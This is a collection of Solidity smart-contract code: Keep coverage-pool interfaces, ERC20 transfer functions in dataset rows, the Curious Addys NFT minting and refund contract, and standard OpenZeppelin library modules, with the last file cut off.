// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
// Trust math, not hardware.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
import "@thesis/solidity-contracts/contracts/token/ERC20WithPermit.sol";
/// @title UnderwriterToken
/// @notice Underwriter tokens represent an ownership share in the underlying
/// collateral of the asset-specific pool. Underwriter tokens are minted
/// when a user deposits ERC20 tokens into asset-specific pool and they
/// are burned when a user exits the position. Underwriter tokens
/// natively support meta transactions. Users can authorize a transfer
/// of their underwriter tokens with a signature conforming EIP712
/// standard instead of an on-chain transaction from their address.
/// Anyone can submit this signature on the user's behalf by calling the
/// permit function, as specified in EIP2612 standard, paying gas fees,
/// and possibly performing other actions in the same transaction.
contract UnderwriterToken is ERC20WithPermit {
constructor(string memory _name, string memory _symbol)
ERC20WithPermit(_name, _symbol)
{}
}
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
// Trust math, not hardware.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
/// @title Asset Pool interface
/// @notice Asset Pool accepts a single ERC20 token as collateral, and returns
/// an underwriter token. For example, an asset pool might accept deposits
/// in KEEP in return for covKEEP underwriter tokens. Underwriter tokens
/// represent an ownership share in the underlying collateral of the
/// Asset Pool.
interface IAssetPool {
/// @notice Accepts the given amount of collateral token as a deposit and
/// mints underwriter tokens representing pool's ownership.
/// @dev Before calling this function, collateral token needs to have the
/// required amount accepted to transfer to the asset pool.
/// @return The amount of minted underwriter tokens
function deposit(uint256 amount) external returns (uint256);
/// @notice Accepts the given amount of collateral token as a deposit and
/// mints at least a minAmountToMint underwriter tokens representing
/// pool's ownership.
/// @dev Before calling this function, collateral token needs to have the
/// required amount accepted to transfer to the asset pool.
/// @return The amount of minted underwriter tokens
function depositWithMin(uint256 amountToDeposit, uint256 minAmountToMint)
external
returns (uint256);
/// @notice Initiates the withdrawal of collateral and rewards from the pool.
/// @dev Before calling this function, underwriter token needs to have the
/// required amount accepted to transfer to the asset pool.
function initiateWithdrawal(uint256 covAmount) external;
/// @notice Completes the previously initiated withdrawal for the
/// underwriter.
/// @return The amount of collateral withdrawn
function completeWithdrawal(address underwriter) external returns (uint256);
}
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
// Trust math, not hardware.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
/// @title Asset Pool upgrade interface
/// @notice Interface that has to be implemented by an Asset Pool accepting
/// upgrades from another asset pool.
interface IAssetPoolUpgrade {
/// @notice Accepts the given underwriter with collateral tokens amount as a
/// deposit. In exchange new underwriter tokens will be calculated,
/// minted and then transferred back to the underwriter.
function depositFor(address underwriter, uint256 amount) external;
}
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
// Trust math, not hardware.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
/// @title Auction interface
/// @notice Auction runs a linear falling-price auction against a diverse
/// basket of assets held in a collateral pool. Auctions are taken using
/// a single asset. Over time, a larger and larger portion of the assets
/// are on offer, eventually hitting 100% of the backing collateral
interface IAuction {
/// @notice Takes an offer from an auction buyer. There are two possible
/// ways to take an offer from a buyer. The first one is to buy
/// entire auction with the amount desired for this auction.
/// The other way is to buy a portion of an auction. In this case an
/// auction depleting rate is increased.
/// @dev The implementation is not guaranteed to be protecting against
/// frontrunning. See `AuctionBidder` for an example protection.
function takeOffer(uint256 amount) external;
/// @notice How much of the collateral pool can currently be purchased at
/// auction, across all assets.
/// @return The ratio of the collateral pool currently on offer and divisor
/// for precision purposes.
function onOffer() external view returns (uint256, uint256);
}
|
Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism. `amount` is then deducted from the caller's allowance unless the allowance was made for `type(uint256).max`. return True if the operation succeeded, reverts otherwise. Requirements: - `sender` and `recipient` cannot be the zero address, - `sender` must have a balance of at least `amount`, - the caller must have allowance for `sender`'s tokens of at least `amount`.
|
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
uint256 currentAllowance = allowance[sender][msg.sender];
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"Transfer amount exceeds allowance"
);
_approve(sender, msg.sender, currentAllowance - amount);
}
_transfer(sender, recipient, amount);
return true;
}
| 112,333 |
./partial_match/42/0x3657A01BFa8192353ad5607f62613f746e07cd39/sources/assignmentToken.sol
|
TODO: transfer `_value` tokens from sender to `_to` NOTE: sender needs to have enough tokens NOTE: transfer value needs to be sufficient to cover fee
|
function transfer(address _to, uint256 _value) public returns (bool) {
require((_value+fee) <= balances[msg.sender]);
balances[msg.sender] -= (_value+fee);
balances[_to] += (_value);
balances[minter] += fee;
emit TransferFee(msg.sender, _to, _value, fee);
return true;
}
| 8,986,625 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
/**
* @title Curious Addys' Trading Club Contract
* @author Mai Akiyoshi & Ben Yu (https://twitter.com/mai_on_chain & https://twitter.com/intenex)
* @notice This contract handles minting and refunding of First Edition Curious Addys' Trading Club tokens.
*/
contract CuriousAddys is ERC721Enumerable, ReentrancyGuard, Ownable, Pausable {
using ECDSA for bytes32;
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
string public baseTokenURI;
uint256 public constant price = 0.08 ether;
uint256 public immutable maxSupply;
uint256 public immutable firstSaleSupply;
uint256 public immutable reserveSupply;
/**
* @notice Construct a Curious Addys instance
* @param name Token name
* @param symbol Token symbol
* @param baseTokenURI_ Base URI for all tokens
*/
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI_,
uint256 maxSupply_,
uint256 firstSaleSupply_,
uint256 reserveSupply_
) ERC721(name, symbol) {
require(maxSupply_ > 0, "INVALID_SUPPLY");
baseTokenURI = baseTokenURI_;
maxSupply = maxSupply_;
firstSaleSupply = firstSaleSupply_;
reserveSupply = reserveSupply_;
// Start token IDs at 1
_tokenIds.increment();
}
// Used to validate authorized mint addresses
address private signerAddress = 0xabcB40408a94E94f563d64ded69A75a3098cBf59;
// The address where refunded tokens are returned to
address private refundAddress = 0x52EA5F96f004d174470901Ba3F1984D349f0D3eF;
mapping (address => uint256) public totalMintsPerAddress;
uint256 public saleEndTime = block.timestamp;
bool public isFirstSaleActive = false;
bool public isSecondSaleActive = false;
bool public reserveMintCompleted = false;
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "URI query for nonexistent token");
return string(abi.encodePacked(_baseURI(), tokenId.toString(), ".json"));
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
/**
* To be updated by contract owner to allow for the first tranche of members to mint
*/
function setFirstSaleState(bool _firstSaleActiveState) public onlyOwner {
require(isFirstSaleActive != _firstSaleActiveState, "NEW_STATE_IDENTICAL_TO_OLD_STATE");
isFirstSaleActive = _firstSaleActiveState;
}
/**
* To be updated once maxSupply equals totalSupply. This will deactivate minting.
* Can also be activated by contract owner to begin public sale
*/
function setSecondSaleState(bool _secondSaleActiveState) public onlyOwner {
require(isSecondSaleActive != _secondSaleActiveState, "NEW_STATE_IDENTICAL_TO_OLD_STATE");
isSecondSaleActive = _secondSaleActiveState;
if (!isSecondSaleActive) {
saleEndTime = block.timestamp;
}
}
function setSignerAddress(address _signerAddress) external onlyOwner {
require(_signerAddress != address(0));
signerAddress = _signerAddress;
}
function setRefundAddress(address _refundAddress) external onlyOwner {
require(_refundAddress != address(0));
refundAddress = _refundAddress;
}
/**
* Returns all the token ids owned by a given address
*/
function ownedTokensByAddress(address owner) external view returns (uint256[] memory) {
uint256 totalTokensOwned = balanceOf(owner);
uint256[] memory allTokenIds = new uint256[](totalTokensOwned);
for (uint256 i = 0; i < totalTokensOwned; i++) {
allTokenIds[i] = (tokenOfOwnerByIndex(owner, i));
}
return allTokenIds;
}
/**
* Update the base token URI
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
baseTokenURI = _newBaseURI;
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
/**
* When the contract is paused, all token transfers are prevented in case of emergency.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal whenNotPaused override {
super._beforeTokenTransfer(from, to, tokenId);
}
/**
* Will return true if token holders can still return their tokens for a full mint price refund
*/
function refundGuaranteeActive() public view returns (bool) {
return (block.timestamp < (saleEndTime + 100 days));
}
function verifyAddressSigner(bytes32 messageHash, bytes memory signature) private view returns (bool) {
return signerAddress == messageHash.toEthSignedMessageHash().recover(signature);
}
function hashMessage(address sender, uint256 maximumAllowedMints) private pure returns (bytes32) {
return keccak256(abi.encode(sender, maximumAllowedMints));
}
/**
* @notice Allow for minting of tokens up to the maximum allowed for a given address.
* The address of the sender and the number of mints allowed are hashed and signed
* with the server's private key and verified here to prove whitelisting status.
*/
function mint(
bytes32 messageHash,
bytes calldata signature,
uint256 mintNumber,
uint256 maximumAllowedMints
) external payable virtual nonReentrant {
require(isFirstSaleActive || isSecondSaleActive, "SALE_IS_NOT_ACTIVE");
require(totalMintsPerAddress[msg.sender] + mintNumber <= maximumAllowedMints, "MINT_TOO_LARGE");
require(hashMessage(msg.sender, maximumAllowedMints) == messageHash, "MESSAGE_INVALID");
require(verifyAddressSigner(messageHash, signature), "SIGNATURE_VALIDATION_FAILED");
// Imprecise floats are scary. Front-end should utilize BigNumber for safe precision, but adding margin just to be safe to not fail txs
require(msg.value >= ((price * mintNumber) - 0.0001 ether) && msg.value <= ((price * mintNumber) + 0.0001 ether), "INVALID_PRICE");
uint256 currentSupply = totalSupply();
if (isFirstSaleActive) {
require(currentSupply + mintNumber <= firstSaleSupply, "NOT_ENOUGH_MINTS_AVAILABLE");
} else {
require(currentSupply + mintNumber <= maxSupply, "NOT_ENOUGH_MINTS_AVAILABLE");
}
totalMintsPerAddress[msg.sender] += mintNumber;
for (uint256 i = 0; i < mintNumber; i++) {
_safeMint(msg.sender, _tokenIds.current());
_tokenIds.increment();
}
// Update the saleEndTime at the end of the second sale so the refund guarantee starts from now
if (isFirstSaleActive && (currentSupply + mintNumber >= firstSaleSupply)) {
isFirstSaleActive = false;
} else if (isSecondSaleActive && (currentSupply + mintNumber >= maxSupply)) {
isSecondSaleActive = false;
saleEndTime = block.timestamp;
}
}
/**
* @notice Allow owner to send `mintNumber` tokens without cost to multiple addresses
*/
function gift(address[] calldata receivers, uint256 mintNumber) external onlyOwner {
require((totalSupply() + (receivers.length * mintNumber)) <= maxSupply, "MINT_TOO_LARGE");
for (uint256 i = 0; i < receivers.length; i++) {
for (uint256 j = 0; j < mintNumber; j++) {
_safeMint(receivers[i], _tokenIds.current());
_tokenIds.increment();
}
}
}
/**
* @notice Allow the owner to mint their reserved supply
*/
function mintReserveSupply() external virtual onlyOwner {
require(!reserveMintCompleted, "RESERVE_MINT_ALREADY_COMPLETED");
// Start at first token after the public supply
uint256 start = (maxSupply - reserveSupply) + 1;
for (uint256 tokenId = start; tokenId <= maxSupply; tokenId++) {
_safeMint(owner(), tokenId);
}
reserveMintCompleted = true;
}
/**
* @notice Refund token and return the mint price to the token owner.
* @param _tokenId The id of the token to refund.
*/
function refund(uint256 _tokenId) external nonReentrant {
require(refundGuaranteeActive(), "REFUND_GUARANTEE_EXPIRED");
require(ownerOf(_tokenId) == msg.sender, "MUST_OWN_TOKEN");
// Transfer token to CATC wallet
_transfer(msg.sender, refundAddress, _tokenId);
// Refund the token owner 100% of the mint price.
payable(msg.sender).transfer(price);
}
/**
* @notice Allow contract owner to withdraw funds after the refund guarantee ends.
*/
function withdrawFundsAfterRefundExpires() external onlyOwner {
require(!refundGuaranteeActive(), "REFUND_GUARANTEE_STILL_ACTIVE");
payable(owner()).transfer(address(this).balance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
